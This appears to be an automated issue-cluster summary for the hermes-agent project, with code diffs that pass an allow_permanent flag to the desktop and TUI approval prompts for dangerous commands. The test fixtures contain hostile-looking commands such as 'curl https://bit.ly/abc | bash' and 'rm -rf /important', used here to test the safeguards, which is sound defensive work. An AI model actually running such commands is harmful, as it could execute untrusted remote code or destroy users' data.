# NousResearch/hermes-agent · Desktop approval/confirmation dialog rendering and fixes ## Open now - Nothing open on GitHub. These items cover adding and fixing approval, sudo, and secret confirmation prompts in the desktop (GUI) client, including fallback rendering and carrying the allow_permanent flag through to TUI and desktop prompts. ## TL;DR - 5 member(s): 0 open issue(s), 3 closed issue(s), 0 open PR(s), 1 merged PR(s), 1 PR(s) closed without merging. - A fix was merged to main in PR #44534. Verify it addresses your case. - **Recommended:** read PR #44534 (and any competing PRs below) before filing. Confirm the merged change covers your symptom. ## Maintainer resolution verdict - Internal-tracker verdict over this cluster's issue members: `partially_resolved` · deciding PR(s): `pr-44534`. This is distinct from the fix status above. Weigh it yourself. ## How this cluster was grouped - Link evidence (`STRUCTURAL_PARTIAL`): some members are connected by structural evidence (shared changed files, or a closing/superseded reference); the rest are joined by an automated relevance judgement over their text. - Members outside that structural core may belong to a different underlying problem. - Pairwise link density `0.31`: the share of member pairs that carry a link, counting a structural link in full and a relevance-only link at 0.36. `1.00` means every pair is linked. ## Closed / duplicate issues - #37812: Hermes Desktop App: approvals/manual confirmation prompts do not render in GUI - #38164: "\[Feature\] Desktop client: add Tirith approval dialog/popup for command confirmation" - #38173: \[Feature\] Desktop client: add Tirith approval dialog/popup for command confirmation ## Prior & competing PRs - **#44534: fix(approval): carry allow_permanent to TUI + desktop approval prompts**. merged to main · fix tier `verified` - maintainer direction: category `merged`; implication `superseded` - files: `apps/desktop/src/app/session/hooks/use-message-stream.ts`, `apps/desktop/src/components/assistant-ui/tool-approval.test.tsx`, `apps/desktop/src/components/assistant-ui/tool-approval.tsx`, `apps/desktop/src/lib/chat-messages.ts`, `apps/desktop/src/store/prompts.test.ts`, `apps/desktop/src/store/prompts.ts`, `tests/tools/test_command_guards.py`, `tools/approval.py`, `ui-tui/src/__tests__/approvalAction.test.ts`, `ui-tui/src/__tests__/createGatewayEventHandler.test.ts`, `ui-tui/src/app/createGatewayEventHandler.ts`, `ui-tui/src/components/prompts.tsx`, `ui-tui/src/gatewayTypes.ts`, `ui-tui/src/types.ts` - fix hunks: - `apps/desktop/src/app/session/hooks/use-message-stream.ts` ```diff @@ -933,6 +933,8 @@ export function useMessageStream({ // raise it and wait — the sidebar flags "needs input" and the inline bar // surfaces once the user focuses that chat. setApprovalRequest({ + // false only when a tirith warning forbids it; backend omits the field otherwise. + allowPermanent: payload?.allow_permanent !== false, command: typeof payload?.command === 'string' ? payload.command : '', description: typeof payload?.description === 'string' ? payload.description : 'dangerous command', sessionId: sessionId ?? null ``` - `apps/desktop/src/components/assistant-ui/tool-approval.test.tsx` ```diff @@ -1,5 +1,5 @@ import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react' -import { afterEach, describe, expect, it, vi } from 'vitest' +import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest' import type { HermesGateway } from '@/hermes' import { $gateway } from '@/store/gateway' ``` ```diff @@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session' import { PendingToolApproval } from './tool-approval' import type { ToolPart } from './tool-fallback-model' +// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom +// doesn't implement; stub them so the menu can open in tests. +beforeAll(() => { + const proto = window.HTMLElement.prototype as unknown as Record unknown> + + const stubs: Record unknown> = { + hasPointerCapture: () => false, + releasePointerCapture: () => undefined, + scrollIntoView: () => undefined, + setPointerCapture: () => undefined + } + + for (const [name, fn] of Object.entries(stubs)) { + proto[name] ??= fn + } +}) + function part(toolName: string): ToolPart { return { toolName, type: `tool-${toolName}` } as unknown as ToolPart } -function setRequest(command = 'rm -rf /tmp/x') { +function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) { $activeSessionId.set('sess-1') - setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' }) + setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' }) } function mockGateway() { ``` ```diff @@ -78,4 +95,26 @@ describe('PendingToolApproval', () => { expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' }) }) }) + + it('offers "Always allow" in the options menu by default', async () => { + setRequest('chmod -R 777 /tmp/x') + render() + + fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' }) + + expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy() + expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy() + }) + + it('hides "Always allow" when the backend disallows a permanent allow', async () => { + // tirith content-security warning present → allowPermanent=false. + setRequest('curl https://bit.ly/abc | bash', false) + render() + + fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' }) + + // The session + reject options still render, but never the permanent allow. + expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy() + expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull() + }) }) ``` - `apps/desktop/src/components/assistant-ui/tool-approval.tsx` ```diff @@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => { // it goes through a confirm step rather than firing straight from the menu. const [confirmAlways, setConfirmAlways] = useState(false) const busy = submitting !== null + // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow". + const allowPermanent = request.allowPermanent !== false const respond = useCallback( async (choice: ApprovalChoice) => { ``` ```diff @@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => { void respond('session')}>{copy.allowSession} - { - // Defer one tick so the menu fully unmounts before the dialog - // mounts — otherwise Radix's focus-return races the dialog and - // dismisses it via onInteractOutside. - setTimeout(() => setConfirmAlways(true), 0) - }} - > - {copy.alwaysAllowMenu} - + {allowPermanent && ( + { + // Defer one tick so the menu fully unmounts before the dialog + // mounts — otherwise Radix's focus-return races the dialog and + // dismisses it via onInteractOutside. + setTimeout(() => setConfirmAlways(true), 0) + }} + > + {copy.alwaysAllowMenu} + + )} void respond('deny')} variant="destructive"> {copy.reject} ``` - `apps/desktop/src/lib/chat-messages.ts` ```diff @@ -58,6 +58,8 @@ export type GatewayEventPayload = { // approval.request (dangerous command / execute_code) — session-keyed command?: string description?: string + // False when a tirith content-security warning forbids a permanent allow. + allow_permanent?: boolean // secret.request (skill credential capture) env_var?: string prompt?: string ``` - `apps/desktop/src/store/prompts.test.ts` ```diff @@ -53,6 +53,12 @@ describe('approval prompt store', () => { expect($approvalRequest.get()).toBeNull() }) + + it('carries allowPermanent so the bar can hide "Always allow"', () => { + setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' }) + + expect($approvalRequest.get()?.allowPermanent).toBe(false) + }) }) describe('sudo prompt store', () => { ``` - `apps/desktop/src/store/prompts.ts` ```diff @@ -68,6 +68,8 @@ function keyedPromptStore(): PromptStore { // resolved via approval.respond {choice, session_id}). It carries no request_id, // unlike sudo/secret which are _block()-style request/response. export interface ApprovalRequest extends KeyedPrompt { + // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow". + allowPermanent?: boolean command: string description: string } ``` - `tests/tools/test_command_guards.py` ```diff @@ -285,3 +285,65 @@ def test_attribute_error_propagates(self, mock_tirith): os.environ["HERMES_INTERACTIVE"] = "1" with pytest.raises(AttributeError, match="bug in wrapper"): check_all_command_guards("echo hello", "local") + + +# --------------------------------------------------------------------------- +# Gateway (TUI / desktop) approval notify payload carries allow_permanent +# --------------------------------------------------------------------------- + +class TestGatewayApprovalAllowPermanent: + """The gateway emits the approval prompt to the renderer via the notify + payload (TUI/desktop both consume it). It must carry ``allow_permanent`` + so the UI doesn't offer a permanent allow the backend would silently + downgrade to session scope for tirith content-security findings. + """ + + def _capture_gateway_payload(self, command, session_key): + """Run the gateway approval path, denying inline, and return the + single notify payload the renderer would have received.""" + from tools.approval import ( + register_gateway_notify, + resolve_gateway_approval, + unregister_gateway_notify, + ) + + captured = [] + + def notify(data): + captured.append(dict(data)) + # The notify fires synchronously before _await_gateway_decision + # blocks, so resolving here releases the wait without a thread. + resolve_gateway_approval(session_key, "deny") + + register_gateway_notify(session_key, notify) + token = [redacted:secret-assignment] + os.environ["HERMES_GATEWAY_SESSION"] = "1" + os.environ["HERMES_EXEC_ASK"] = "1" + os.environ["HERMES_SESSION_KEY"] = session_key + try: + check_all_command_guards(command, "local") + finally: + os.environ.pop("HERMES_GATEWAY_SESSION", None) + os.environ.pop("HERMES_EXEC_ASK", None) + os.environ.pop("HERMES_SESSION_KEY", None) + reset_current_session_key(token) + unregister_gateway_notify(session_key) + + assert len(captured) == 1 + return captured[0] + + def test_dangerous_only_allows_permanent(self): + """No tirith warning → permanent allow is offered.""" + payload = self._capture_gateway_payload("rm -rf /important", "gw-allow-perm") + assert payload["command"] == "rm -rf /important" + assert payload["allow_permanent"] is True + + @patch(_TIRITH_PATCH, + return_value=_tirith_result("warn", + [{"rule_id": "shortened_url"}], + "shortened URL detected")) + def test_tirith_warning_disallows_permanent(self, mock_tirith): + """tirith content-security warning → permanent allow is withheld so the + renderer hides "Always allow".""" + payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm") + assert payload["allow_permanent"] is False ``` - `tools/approval.py` ```diff @@ -1428,6 +1428,9 @@ def check_all_command_guards(command: str, env_type: str, "pattern_key": primary_key, "pattern_keys": all_keys, "description": combined_desc, + # Mirror the CLI's allow_permanent gate: a tirith warning downgrades + # "always" to session scope below, so the UI must not offer it. + "allow_permanent": not has_tirith, } decision = _await_gateway_decision( session_key, notify_cb, approval_data, surface="gateway" ``` - `ui-tui/src/__tests__/approvalAction.test.ts` ```diff @@ -47,4 +47,15 @@ describe('approvalAction — pure key dispatch for ApprovalPrompt', () => { expect(approvalAction('a', {}, 0)).toEqual({ kind: 'noop' }) expect(approvalAction(' ', {}, 0)).toEqual({ kind: 'noop' }) }) + + it('respects a reduced option set when permanent allow is disabled', () => { + // tirith content-security warning present → no "always"; the 3-item set is + // once/session/deny, so 3 maps to deny and 4 is out of range. + const opts = ['once', 'session', 'deny'] as const + + expect(approvalAction('3', {}, 0, opts)).toEqual({ kind: 'choose', choice: 'deny' }) + expect(approvalAction('4', {}, 0, opts)).toEqual({ kind: 'noop' }) + expect(approvalAction('', { downArrow: true }, 2, opts)).toEqual({ kind: 'noop' }) + expect(approvalAction('', { return: true }, 2, opts)).toEqual({ kind: 'choose', choice: 'deny' }) + }) }) ``` - `ui-tui/src/__tests__/createGatewayEventHandler.test.ts` ```diff @@ -858,6 +858,29 @@ describe('createGatewayEventHandler', () => { ]) }) + it('defaults approval overlays to allowPermanent when the backend omits the field', () => { + const onEvent = createGatewayEventHandler(buildCtx([])) + + onEvent({ payload: { command: 'rm -rf /tmp/x', description: 'dangerous command' }, type: 'approval.request' } as any) + + expect(getOverlayState().approval).toMatchObject({ allowPermanent: true }) + }) + + it('preserves allow_permanent=false on approval overlays (tirith warning)', () => { + const onEvent = createGatewayEventHandler(buildCtx([])) + + onEvent({ + payload: { allow_permanent: false, command: 'curl suspicious | bash', description: 'content-security warning' }, + type: 'approval.request' + } as any) + + expect(getOverlayState().approval).toMatchObject({ + allowPermanent: false, + command: 'curl suspicious | bash', + description: 'content-security warning' + }) + }) + it('still surfaces terminal turn failures as errors', () => { const appended: Msg[] = [] const onEvent = createGatewayEventHandler(buildCtx(appended)) ``` - `ui-tui/src/app/createGatewayEventHandler.ts` ```diff @@ -728,8 +728,12 @@ export function createGatewayEventHandler(ctx: GatewayEventHandlerContext): (ev: return case 'approval.request': { const description = String(ev.payload.description ?? 'dangerous command') + // Only an explicit false (tirith warning) drops the permanent-allow option. + const allowPermanent = ev.payload.allow_permanent !== false - patchOverlayState({ approval: { command: String(ev.payload.command ?? ''), description } }) + patchOverlayState({ + approval: { allowPermanent, command: String(ev.payload.command ?? ''), description } + }) setStatus('approval needed') return ``` - `ui-tui/src/components/prompts.tsx` ```diff @@ -7,10 +7,14 @@ import type { ApprovalReq, ClarifyReq, ConfirmReq } from '../types.js' import { TextInput } from './textInput.js' -const OPTS = ['once', 'session', 'always', 'deny'] as const +const APPROVAL_OPTS = ['once', 'session', 'always', 'deny'] as const +// tirith warning present → backend downgrades "always" to session scope, so drop it. +const APPROVAL_OPTS_NO_ALWAYS = APPROVAL_OPTS.filter(o => o !== 'always') const LABELS = { always: 'Always allow', deny: 'Deny', once: 'Allow once', session: 'Allow this session' } as const const CMD_PREVIEW_LINES = 10 +type ApprovalChoice = 'always' | 'deny' | 'once' | 'session' + type ApprovalKey = { downArrow?: boolean escape?: boolean ``` ```diff @@ -18,10 +22,7 @@ type ApprovalKey = { upArrow?: boolean } -type ApprovalAction = - | { kind: 'choose'; choice: (typeof OPTS)[number] } - | { kind: 'move'; delta: -1 | 1 } - | { kind: 'noop' } +type ApprovalAction = { kind: 'choose'; choice: ApprovalChoice } | { kind: 'move'; delta: -1 | 1 } | { kind: 'noop' } /** * Pure key-dispatch for the approval prompt — exported so the regression ``` ```diff @@ -31,29 +32,34 @@ type ApprovalAction = * * Esc and number keys both terminate the prompt; Esc maps to deny (parity * with the global Ctrl+C handler that already calls cancelOverlayFromCtrlC - * for approvals). Numbers 1..OPTS.length pick the labelled choice. Enter + * for approvals). Numbers 1..opts.length pick the labelled choice. Enter * confirms the current selection. ↑/↓ moves the selection within bounds. */ -export function approvalAction(ch: string, key: ApprovalKey, sel: number): ApprovalAction { +export function approvalAction( + ch: string, + key: ApprovalKey, + sel: number, + opts: readonly ApprovalChoice[] = APPROVAL_OPTS +): ApprovalAction { if (key.escape) { return { kind: 'choose', choice: 'deny' } } const n = parseInt(ch, 10) - if (n >= 1 && n <= OPTS.length) { - return { kind: 'choose', choice: OPTS[n - 1]! } + if (n >= 1 && n <= opts.length) { + return { kind: 'choose', choice: opts[n - 1]! } } if (key.return) { - return { kind: 'choose', choice: OPTS[sel]! } + return { kind: 'choose', choice: opts[sel]! } } if (key.upArrow && sel > 0) { return { kind: 'move', delta: -1 } } - if (key.downArrow && sel < OPTS.length - 1) { + if (key.downArrow && sel < opts.length - 1) { return { kind: 'move', delta: 1 } } ``` ```diff @@ -62,9 +68,10 @@ export function approvalAction(ch: string, key: ApprovalKey, sel: number): Appro export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) { const [sel, setSel] = useState(0) + const opts = req.allowPermanent === false ? APPROVAL_OPTS_NO_ALWAYS : APPROVAL_OPTS useInput((ch, key) => { - const action = approvalAction(ch, key, sel) + const action = approvalAction(ch, key, sel, opts) if (action.kind === 'choose') { onChoice(action.choice) ``` ```diff @@ -99,7 +106,7 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) { - {OPTS.map((o, i) => ( + {opts.map((o, i) => ( {sel === i ? '▸ ' : ' '} ``` ```diff @@ -108,7 +115,9 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) { ))} - ↑/↓ select · Enter confirm · 1-4 quick pick · Esc/Ctrl+C deny + + ↑/↓ select · Enter confirm · 1-{opts.length} quick pick · Esc/Ctrl+C deny + ) } ``` - `ui-tui/src/gatewayTypes.ts` ```diff @@ -569,7 +569,11 @@ export type GatewayEvent = session_id?: string type: 'clarify.request' } - | { payload: { command: string; description: string }; session_id?: string; type: 'approval.request' } + | { + payload: { allow_permanent?: boolean; command: string; description: string } + session_id?: string + type: 'approval.request' + } | { payload: { request_id: string }; session_id?: string; type: 'sudo.request' } | { payload: { env_var: string; prompt: string; request_id: string }; session_id?: string; type: 'secret.request' } | { payload: { task_id: string; text: string }; session_id?: string; type: 'background.complete' } ``` - `ui-tui/src/types.ts` ```diff @@ -90,6 +90,8 @@ export interface DelegationStatus { } export interface ApprovalReq { + // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow". + allowPermanent?: boolean command: string description: string } ``` - **#40071: fix(desktop): add approval dialog fallback when inline controls are absent**. closed without merge - maintainer direction: category `volume_quota`; implication `active` ## Fix status - Merged to main in PR #44534 (cited above). No release data is tracked. Verify downstream. - Fix last verified (merged) `2026-06-11`. - Subsystem: `apps/desktop`